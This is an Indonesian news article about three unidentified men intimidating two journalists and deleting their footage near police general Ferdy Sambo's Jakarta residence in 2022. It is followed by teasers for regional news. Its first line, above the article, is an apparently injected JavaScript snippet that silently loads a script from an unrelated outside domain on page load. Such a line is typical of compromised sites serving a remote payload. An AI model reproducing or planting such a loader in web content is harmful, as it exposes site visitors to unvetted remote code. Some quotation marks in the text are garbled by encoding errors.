(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Dua jurnalis mendapat intimidasi oleh orang tak dikenal (OTK) saat meliput di sekitar rumah dinas Kadiv Propam Polri, Irjen Pol Ferdy Sambo, Komplek Polri Duren Tiga, Jakarta Selatan, Kamis (14/7/2022) siang.
Rumah dinas (Rumdin) itu merupakan lokasi penembakan yang dilakukan Bharada E terhadap Brigadir J atau Nofryansah Yosua Hutabarat.
Awak jurnalis itu berasal dari CNN Indonesia dan 20 Detik, diminta tiga OTK untuk menghapus foto dan video saat melakukan peliputan. Tiga pria itu mempunyai perawakan tegap dan berambut cepak.
Kejadian bermula saat kedua jurnalis itu hendak melakukan wawancara di kediamanan Seno Sukarto. Purnawirawan jenderal bintang dua itu merupakan Ketua RT di komplek tersebut, setelah sempat diwawancara pada Rabu (13/7/2022) kemarin.
Baca juga : Dibalik Berdirinya Landmark “Landasan Ulin†Dekat Bundaran Pesawat
“Awalnya saya jalan-jalan keliling komplek, terus ke rumah Ketua RT mau wawancara. Sempat diterima sama ibu RT, intinya bilang Pak RT tidak mau ngomong karena kemarin sudah,†kata jurnalis 20 Detik yang enggan disebut namanya saat dikonfirmasi, Kamis (14/7/2022) malam, dilansir Suara.com -jaringan Kanalkalimantan.com.
Lantas, jurnalis 20 Detik bersama jurnalis CCN Indonesia itu mencari opsi lain dengan mewawancarai tukang sapu di komplek tersebut. Mereka berdua hendak bertanya soal gambaran peristiwa tembak menembak pada Jumat (8/7/2022) lalu.
“Ketemu lah Pak Asep, lah di pertigaan tuh di pinggir jalan. Oh iya saya Pak Asep, oh ya udah. Sambil wawancara tuh sempat ada orang nyamperin, manggil si Pak Asep, terus ya udah kita lanjut wawancara tuh sama Pak Asep sambil videoin segala macam,†ucapnya.
Jurnalis CCN Indonesia yang dihubungi terpisah turut membenarkan hal tersebut. Kata dia, saat proses wawancara berlangsung ada tiga OTK datang menghampiri.
Baca juga : Kunjungi Warakawuri Kodim 1022/Tnb
Perawakan tiga OTK itu tegap dan berambut cepak. Ketiganya lantas menghentikan proses wawancara dan merampas ponsel genggam dan menghapus foto hingga video.
“Tinggi kira-kira 170 cm, rambut cepak pakai kaos hitam. Tiba-tiba samperin kami dan menghapus foto dan video,†ujar sang jurnalis CNN yang enggan disebut namanya
Dia juga menyebut, ketiga OTK itu memperingati jurnalis untuk tidak meliput lagi di sekitar lokasi. Satu dari tiga OTK itu berkata kalau jurnalis sudah terlalu jauh dalam melalukan peliputan.
“Kalau masih di sana (rumah Ferdy Sambo) enggak apa-apa. Tapi kalau ke sini sudah terlalu jauh.â€. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.